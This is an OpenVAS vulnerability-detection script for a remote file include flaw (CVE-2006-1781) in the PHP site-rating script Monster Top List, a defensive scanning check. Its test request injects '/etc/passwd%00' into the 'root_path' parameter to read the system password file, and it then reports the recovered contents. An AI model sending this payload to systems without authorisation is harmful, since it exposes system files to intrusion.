Monster Top List Remote File Include

# OpenVAS Vulnerability Test
# $Id: mtl_remote_file_include.nasl 5779 2017-03-30 06:57:12Z cfi $
# Description: Monster Top List Remote File Include
#
# Authors:
# Josh Zlatin-Amishav (josh at ramat dot cc)
#
# Copyright:
# Copyright (C) 2006 Josh Zlatin-Amishav
#
# This program is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License version 2,
# as published by the Free Software Foundation
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
#

tag_summary = "The remote web server contains a PHP application that is affected by a
remote file include vulnerability. 

Description :

The remote host is running Monster Top List, a site rating script
written in PHP. 

The installed version of Monster Top List fails to sanitize user input
to the 'root_path' parameter in sources/functions.php before using it
to include PHP code from other files.  An unauthenticated attacker may
be able to read arbitrary local files or include a file from a remote
host that contains commands which will be executed on the remote host
subject to the privileges of the web server process. 

This flaw is only exploitable if PHP's 'register_globals' is enabled.";

tag_solution = "Unknown at this time.";

if (description)
{
  script_id(80073);
  script_version("$Revision: 5779 $");
  script_tag(name:"last_modification", value:"$Date: 2017-03-30 08:57:12 +0200 (Thu, 30 Mar 2017) $");
  script_tag(name:"creation_date", value:"2008-10-24 23:33:44 +0200 (Fri, 24 Oct 2008)");
  script_tag(name:"cvss_base", value:"7.5");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:P/I:P/A:P");
  script_bugtraq_id(17546);
  script_cve_id("CVE-2006-1781");
  script_xref(name:"OSVDB", value:"24650");
  script_name("Monster Top List Remote File Include");
  script_category(ACT_ATTACK);
  script_tag(name:"qod_type", value:"remote_vul");
  script_family("Web application abuses");
  script_copyright("This script is Copyright (C) 2006 Josh Zlatin-Amishav");
  script_dependencies("find_service.nasl", "http_version.nasl");
  script_require_ports("Services/www", 80);
  script_exclude_keys("Settings/disable_cgi_scanning");

  script_tag(name : "solution" , value : tag_solution);
  script_tag(name : "summary" , value : tag_summary);
  script_xref(name : "URL" , value : "http://pridels.blogspot.com/2006/04/monstertoplist.html");

  exit(0);
}

include("http_func.inc");
include("http_keepalive.inc");

port = get_http_port(default:80);
if (!can_host_php(port:port)) exit(0);

foreach dir( make_list_unique( "/toplist", cgi_dirs( port:port ) ) ) {

  if( dir == "/" ) dir = "";

  # Try to exploit the flaw in sources/functions.php to read /etc/passwd.
  req = http_get( item:string( dir, "/sources/functions.php?root_path=/etc/passwd%00"), port:port );
  res = http_keepalive_send_recv(port:port, data:req, bodyonly:TRUE);
  if (res == NULL) continue;

  # There's a problem if...
  if (
      # there's an entry for root or...
      egrep(pattern:"root:.*:0:[01]:", string:res) ||
      # we get an error saying "failed to open stream" or "Failed opening".
      #
      # nb: this suggests magic_quotes_gpc was enabled but passing 
      #     remote URLs might still work.
      egrep(string:res, pattern:"Warning.+/etc/passwd\0sources/func_output\.php.+failed to open stream")
    
  ) {
    if (egrep(pattern:"root:.*:0:[01]:", string:res)) content = res;

    if (content)
      report = string(
        "Here are the contents of the file '/etc/passwd' that\n",
        "OpenVAS was able to read from the remote host :\n",
        "\n",
        content
      );
    else report = "";

    security_message(port:port, data:report);
    exit(0);
  }
}

exit( 99 );